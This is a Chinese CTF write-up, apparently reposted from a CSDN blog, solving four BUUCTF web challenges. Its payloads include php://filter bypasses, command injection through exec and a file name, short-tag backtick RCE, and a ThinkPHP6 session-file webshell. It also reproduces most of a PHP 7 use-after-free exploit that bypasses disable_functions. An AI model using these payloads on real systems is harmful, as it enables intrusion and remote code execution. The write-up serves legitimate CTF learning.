iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >buuctf刷题11( | + su -c命令&<?=``;进行rce&tp6.0任意文件操作漏洞&prase_url()函数漏洞)
  • 819
分享到

buuctf刷题11( | + su -c命令&<?=``;进行rce&tp6.0任意文件操作漏洞&prase_url()函数漏洞)

php 2023-09-08 09:09:19 819人浏览 八月长安
摘要

目录 [羊城杯 2020]Easyphp2(伪协议绕过&su以GWHT身份获取flag) [红明谷CTF 2021]write_shell(短标签+``绕过rce) [GYCTF2020]EasyThinking(thinkphp6.

目录

<1> [羊城杯 2020]Easyphp2(伪协议绕过&su以GWHT身份获取flag)

<2> [红明谷CTF 2021]write_shell(短标签+``绕过rce)

<3> [GYCTF2020]EasyThinking(thinkphp6.0任意文件操作漏洞)

<4> [N1CTF 2018]eating_cms(prase_url()函数漏洞+控制参数进行rce)


<1> [羊城杯 2020]EasyPHP2(伪协议绕过&su以GWHT身份获取flag)

看见题目url栏里存在 ?file=GWHT.php

可能存在文件包含,尝试伪协议读取源码发现被过滤。经测试是base64被过滤

可以双重url编码绕过,

?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php

也可以:quoted-printable-encode

?file=php://filter/convert.quoted-printable-encode/resource=GWHT.php

之后在在线 Quoted-printable 解码编码 - 在线工具网 解密即可

ion_time', 5);if ($_COOKIE['pass'] !== getenv('PASS')) {    setcookie('pass', 'PASS');    die('

'.''.'

'.'
'.'

'.'404'.'

'.'
'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?>

在根据

Sorry, only people from GWHT are allowed to access this WEBsite.23333

可知应该是要传入 cookie pass=GWHT

GWHT.php hidden内容为:

The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "";}?>

可以写入一句话木马:?count= '|echo "" > a.php'

连接蚁剑,在GWHT里一顿找,找到flag.txt 但是发现属性为0440,我们没有权限打开

 在 README里又找到了passWord的hash

 somd5解密一下,得到密码 GWHTCTF

 这里不能直接 su GWHT,然后输入密码。 蚁剑连接的只是一个 执行命令的一句话小🐎,不是交互式。所以需要利用管道符,以GWHT身份执行 cat /flag.txt

| 作用:将前面每一个进程的输出(stdout)直接作为下一个进程的输入(stdin)

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

 得到flag

拓展:不写一句话🐎,直接执行命令 构造使其回显:

wc -c 用来统计文件字节数
exec函数不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
这导致我们即使能对$count进行命令注入,但是exec只会返回| wc -c的结果

所以我们的现在需要不执行 $count后面的命令
最简单的办法就是使用#对后面的命令进行注释,但是题目已经将#过滤

我们可以使用||来达到不执行后面命令的效果

传入 '|ls||' 试试,ls命令执行成功

但是这个是 www-data用户,没权限读取flag.txt的,所以步骤还是和上面蚁剑连接 找GWHT用户密码 以GWHT用户身份读取flag。 所以还是中规中矩按最开始的思路走吧。这个权当拓展

<2> [红明谷CTF 2021]write_shell(短标签+``绕过rce)

进入题目,看见源码:

 $output){          $input[$key] = waf($output);      }  }else{      $input = check($input);  }}$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){    mkdir($dir);}switch($_GET["action"] ?? "") {    case 'pwd':        echo $dir;        break;    case 'upload':        $data = $_GET["data"] ?? "";        waf($data);        file_put_contents("$dir" . "index.php", $data);}?>

代码审计,参数action控制两个模式,case为upload时,会通过get传入一个data参数,经过waf检测之后,写入到 $dir目录下的index.php里

case为pwd时,会输出目录的名称,这个目录为 upload模式下我们写入的index.php的绝对路径

那我们来看一下waf,check函数,函数里限制了我们的输入不能有php eval ` ~ ^ _ 空格等等,因此限制了我们写入一句话木马以及 异或、取反绕过的一些姿势。但是仍然可以利用 短标签+` `实现命令执行

何为短标签? 即    等价于

因此我们可以通过upload模式写入index.php里 短标签代码来rce,

通过pwd获得index.php的路径:sandbox/c47b21fcf8f0bc8b3920541abd8024fd/

 过滤了空格,我们可以用%09绕过 传入data=

也可以水平制符\t来代替空格

写入成功,访问看见根目录下flag文件:flllllll1112222222lag

再次cat 即可得到flag

<3> [GYCTF2020]EasyThinking(thinkphp6.0任意文件操作漏洞)

进入题目环境,可以看到一个 Vulnerable Search,可能这个search这里存在漏洞,我们去search需要让我们登录,注册一个 admin 123456,尝试sql注入和文件包含,未果。

并且search的 内容有历史搜索记录(后面得知是记录到session里了)

结合题目 Easythinking,同时在查看/robots.txt时,根据页面报错得知这是 thinkphp6

 搜索得知,thinkphp6存在任意文件操作漏洞

漏洞原理可以参考:ThinkPHP6 任意文件操作漏洞分析

首先注册一个aaa用户, 修改session,长度为32位,session后缀改为.php(加上.php后为32位)

然后再search搜索的内容会直接保存在/runtime/session/目录下sess_id文件里,key写入一句话🐎

访问/runtime/session/sess_qwertyuiop123456789asdfghjkl.php  测试

 成功上传🐎

 蚁剑连接,但是没有权限访问 /flag  在phpinfo()中 发现有disable_function限制

 又考察我们的 bypass_disable_functions,前面写过一篇 LD_PRELOAD劫持 是一种方法。

LD_PRELOAD劫持_葫芦娃42的博客-CSDN博客

可以利用蚁剑bypass_disfunctions插件试一下

 GitHub上也有 bypass_disfuntions的脚本,   PHP 7.0-7.4 可用。

GitHub - mm0r1/exploits: Pwn stuff. 

a);            $backtrace = (new Exception)->getTrace(); # ;)            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4                $backtrace = debug_backtrace();            }        }    }    class Helper {        public $a, $b, $c, $d;    }    function str2ptr(&$str, $p = 0, $s = 8) {        $address = 0;        for($j = $s-1; $j >= 0; $j--) {            $address <<= 8;            $address |= ord($str[$p+$j]);        }        return $address;    }    function ptr2str($ptr, $m = 8) {        $out = "";        for ($i=0; $i < $m; $i++) {            $out .= chr($ptr & 0xff);            $ptr >>= 8;        }        return $out;    }    function write(&$str, $p, $v, $n = 8) {        $i = 0;        for($i = 0; $i < $n; $i++) {            $str[$p + $i] = chr($v & 0xff);            $v >>= 8;        }    }    function leak($addr, $p = 0, $s = 8) {        global $abc, $helper;        write($abc, 0x68, $addr + $p - 0x10);        $leak = strlen($helper->a);        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }        return $leak;    }    function parse_elf($base) {        $e_type = leak($base, 0x10, 2);        $e_phoff = leak($base, 0x20);        $e_phentsize = leak($base, 0x36, 2);        $e_phnum = leak($base, 0x38, 2);        for($i = 0; $i < $e_phnum; $i++) {            $header = $base + $e_phoff + $i * $e_phentsize;            $p_type  = leak($header, 0, 4);            $p_flags = leak($header, 4, 4);            $p_vaddr = leak($header, 0x10);            $p_memsz = leak($header, 0x28);            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write                # handle pie                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;                $data_size = $p_memsz;            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec                $text_size = $p_memsz;            }        }        if(!$data_addr || !$text_size || !$data_size)            return false;        return [$data_addr, $text_size, $data_size];    }    function get_basic_funcs($base, $elf) {        list($data_addr, $text_size, $data_size) = $elf;        for($i = 0; $i < $data_size / 8; $i++) {            $leak = leak($data_addr, $i * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                $deref = leak($leak);                # 'constant' constant check                if($deref != 0x746e6174736e6f63)                    continue;            } else continue;            $leak = leak($data_addr, ($i + 4) * 8);            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {                $deref = leak($leak);                # 'bin2hex' constant check                if($deref != 0x786568326e6962)                    continue;            } else continue;            return $data_addr + $i * 8;        }    }    function get_binary_base($binary_leak) {        $base = 0;        $start = $binary_leak & 0xfffffffffffff000;        for($i = 0; $i < 0x1000; $i++) {            $addr = $start - 0x1000 * $i;            $leak = leak($addr, 0, 7);            if($leak == 0x10102464c457f) { # ELF header                return $addr;            }        }    }    function get_system($basic_funcs) {        $addr = $basic_funcs;        do {            $f_entry = leak($addr);            $f_name = leak($f_entry, 0, 6);            if($f_name == 0x6d6574737973) { # system                return leak($addr + 8);            }            $addr += 0x20;        } while($f_entry != 0);        return false;    }    function trigger_uaf($arg) {        # str_shuffle prevents opcache string interning        $arg = str_shuffle(str_repeat('A', 79));        $vuln = new Vuln();        $vuln->a = $arg;    }    if(stristr(PHP_OS, 'WIN')) {        die('This PoC is for *nix systems only.');    }    $n_alloc = 10; # increase this value if UAF fails    $contiguous = [];    for($i = 0; $i < $n_alloc; $i++)        $contiguous[] = str_shuffle(str_repeat('A', 79));    trigger_uaf('x');    $abc = $backtrace[1]['args'][0];    $helper = new Helper;    $helper->b = function ($x) { };    if(strlen($abc) == 79 || strlen($abc) == 0) {        die("UAF failed");    }    # leaks    $closure_handlers = str2ptr($abc, 0);    $php_heap = str2ptr($abc, 0x58);    $abc_addr = $php_heap - 0xc8;    # fake value    write($abc, 0x60, 2);    write($abc, 0x70, 6);    # fake reference    write($abc, 0x10, $abc_addr + 0x60);    write($abc, 0x18, 0xa);    $closure_obj = str2ptr($abc, 0x20);    $binary_leak = leak($closure_handlers, 8);    if(!($base = get_binary_base($binary_leak))) {        die("Couldn't determine binary base address");    }    if(!($elf = parse_elf($base))) {        die("Couldn't parse ELF header");    }    if(!($basic_funcs = get_basic_funcs($base, $elf))) {        die("Couldn't get basic_functions address");    }    if(!($zif_system = get_system($basic_funcs))) {        die("Couldn't get zif_system address");    }    # fake closure object    $fake_obj_offset = 0xd0;    for($i = 0; $i < 0x110; $i += 8) {        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));    }    # pwn    write($abc, 0x20, $abc_addr + $fake_obj_offset);    write($abc, 0xd0 + 0x38, 1, 4); # internal func type    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler    ($helper->b)($cmd);    exit();}?>

 在/runtime/session/ 里新建exploit.php 文件写入

 回到浏览器中访问 得到flag

<4> [N1CTF 2018]eating_cms(prase_url()函数漏洞+控制参数进行rce)

扫描到以下目录,reGISter.php为注册页面,注册一个帐号登入即可 注册admin不成功,那就注册一个1vxyz:1vxyz

user.php
register.php
templates/index.html
info.php
config.php

登录之后,看到url栏里有一个 user.php?page=guest  user.php可能存在文件包含

 

尝试filter伪协议读取文件,由于默认给我们加上了.php 所以我们不需要自己加了

/user.php?page=php://filter/read=convert.base64-encode/resource=index

index.php:

 同理,读取下面的文件

user.php

alert('no premission to visit info, only admin can, you are guest')");            Header("Location: user.php?page=guest");        }    }}filter_directory();//if(!in_array($page,$oper_you_can_do)){//    $page = 'info';//}include "$page.php";?>

function.php

 $v)        {            if (stristr($k, $token))                hacker();            if (stristr($v, $token))                hacker();        }    }}function filter_directory_guest(){    $keywords = ["flag","manage","ffffllllaaaaggg","info"];    $uri = parse_url($_SERVER["REQUEST_URI"]);    parse_str($uri['query'], $query);//    var_dump($query);//    die();    foreach($keywords as $token)    {        foreach($query as $k => $v)        {            if (stristr($k, $token))                hacker();            if (stristr($v, $token))                hacker();        }    }}function Filter($string){    global $mysqli;    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";    for ($i = 0; $i < strlen($string); $i++) {        if (strpos("$whitelist", $string[$i]) === false) {            Hacker();        }    }    if (preg_match("/$blacklist/is", $string)) {        Hacker();    }    if (is_string($string)) {        return $mysqli->real_escape_string($string);    } else {        return "";    }}function sql_query($sql_query){    global $mysqli;    $res = $mysqli->query($sql_query);    return $res;}function login($user, $pass){    $user = Filter($user);    $pass = md5($pass);    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";    echo $sql;    $res = sql_query($sql);//    var_dump($res);//    die();    if ($res->num_rows) {        $data = $res->fetch_array();        $_SESSION['user'] = $data[username_which_you_do_not_know];        $_SESSION['login'] = 1;        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];        return true;    } else {        return false;    }    return;}function updateadmin($level,$user){    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";    echo $sql;    $res = sql_query($sql);//    var_dump($res);//    die();//    die($res);    if ($res == 1) {        return true;    } else {        return false;    }    return;}function register($user, $pass){    global $mysqli;    $user = Filter($user);    $pass = md5($pass);    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";    $res = sql_query($sql);    return $mysqli->insert_id;}function logout(){    session_destroy();    Header("Location: index.php");}?>

 从代码中我们可以看到一个$keywords = ["flag","manage","ffffllllaaaaggg"]; 文件,尝试用伪协议读取一下

访问flag,导向了hacker.php 

no hacking,you have been noticed by albertchang's waf

观察这个过滤:

$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);

 其中存在parse_url()函数,这个是我们的突破点:parse_url函数的解释和绕过

构造恶意url绕过检测,读取一下

//user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg

其中ffffllllaaaaggg.php 里有内容

再次读取一下 m4aaannngggeee.php

/user.php?page=php://filter/read=convert.base64-encode/resource=m4aaannngggeee

 访问templates/upload.html

看见了上传文件的地方,尝试上传文件

 伪协议读取upllloaDDDd.php 文件内容

/user.php?page=php://filter/read=convert.base64-encode/resource=upllloadddd

 upllloadddd.php:

";echo $filename;$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");echo "";if($_FILES['file']['error']>0){    unlink($newfile);    die("Upload file error: ");}$ext = array_pop(explode(".",$_FILES['file']['name']));if(!in_array($ext,$allowtype)){    unlink($newfile);}?>

审计一下代码,我们可以看到这里有个代码执行

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 

 在m4aaannngggeee.php 找到真正的文件上传点:

 上传文件并更改文件名为 123.png;ls;# 成功执行ls命令

由于这里过滤了 / ,所以我们使用 ;ls ..;#来访问根目录

发现flag_2333,  由于过滤 / ,我们cd切换目录,然后cat

更改文件名称为:123.png;cd ..;cat flag_233333;#

 得到flag

来源地址:https://blog.csdn.net/weixin_63231007/article/details/126962265

--结束END--

本文标题: buuctf刷题11( | + su -c命令&<?=``;进行rce&tp6.0任意文件操作漏洞&prase_url()函数漏洞)

本文链接: https://www.lsjlt.com/news/399742.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作